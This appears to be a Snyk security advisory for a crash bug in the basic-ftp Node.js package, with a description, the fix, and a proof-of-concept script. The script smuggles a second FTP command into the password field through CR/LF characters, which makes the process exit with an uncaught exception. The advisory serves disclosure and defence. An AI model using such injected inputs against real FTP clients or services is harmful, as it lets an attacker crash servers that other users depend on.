Uncaught Exception Affecting basic-ftp package, versions <6.2.3


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.67% (78th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncaught Exception vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-BASICFTP-22549672
  • published14 Nov 2026
  • disclosed12 Nov 2026
  • creditDharmendra Soni

Introduced: 12 Nov 2026

NewCVE-2026-126346  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

Upgrade basic-ftp to version 6.2.3 or higher.

Overview

basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.

Affected versions of this package are vulnerable to Uncaught Exception via an uncaught exception in FTPContext._passToHandler. Client.login() calls FTPContext.send() from inside the control-socket data event handler, and send() throws when the command contains CR, LF, or NUL. Because the throw originates inside a socket event callback rather than a Promise executor, no try/catch or .catch() in application code can intercept it, and the process terminates with an uncaught exception. The same pattern exists in the REST/RETR path of downloadTo() when the remote path contains control characters. An attacker who controls the FTP password or the remote path of a resumed download can crash the entire Node.js process with a single request, taking down all other clients it serves.

PoC

Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source). It uses a minimal mock FTP server on localhost:

const net = require("net")
const ftp = require("basic-ftp")

const srv = net.createServer(s => { s.write("220 hi\r\n") s.on("data", d => { const c = d.toString() if (c.startsWith("USER")) s.write("331 pw\r\n") else if (c.startsWith("PASS")) s.write("230 ok\r\n") else s.write("200 ok\r\n") }) })

srv.listen(0, async () => { const c = new ftp.Client(2000) try { await c.access({ host: "127.0.0.1", port: srv.address().port, user: "bob", password: "x\r\nDELE important" // attacker-controlled value }) } catch (e) { console.log("rejected:", e.message) // never reached } console.log("handled gracefully") // never reached process.exit(0) })

Result: the process terminates with an uncaught exception and neither catch nor the final console.log runs:

Error: Invalid command: Contains control characters. (PASS x
DELE important)
    at FTPContext.send (dist/FtpContext.js:189:19)
    at Object.responseHandler (dist/Client.js:186:26)
    at FTPContext._passToHandler (dist/FtpContext.js:322:24)
    at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
    at Socket.<anonymous> (dist/FtpContext.js:133:44)

The server in the PoC is benign. Any normal FTP server that replies 331 to USER triggers the same crash.

Note: Tested on Node.js v22.22.0 against basic-ftp 6.2.2 built from source, using a minimal mock FTP server on localhost.

CVSS Base Scores

version 4.0
version 3.1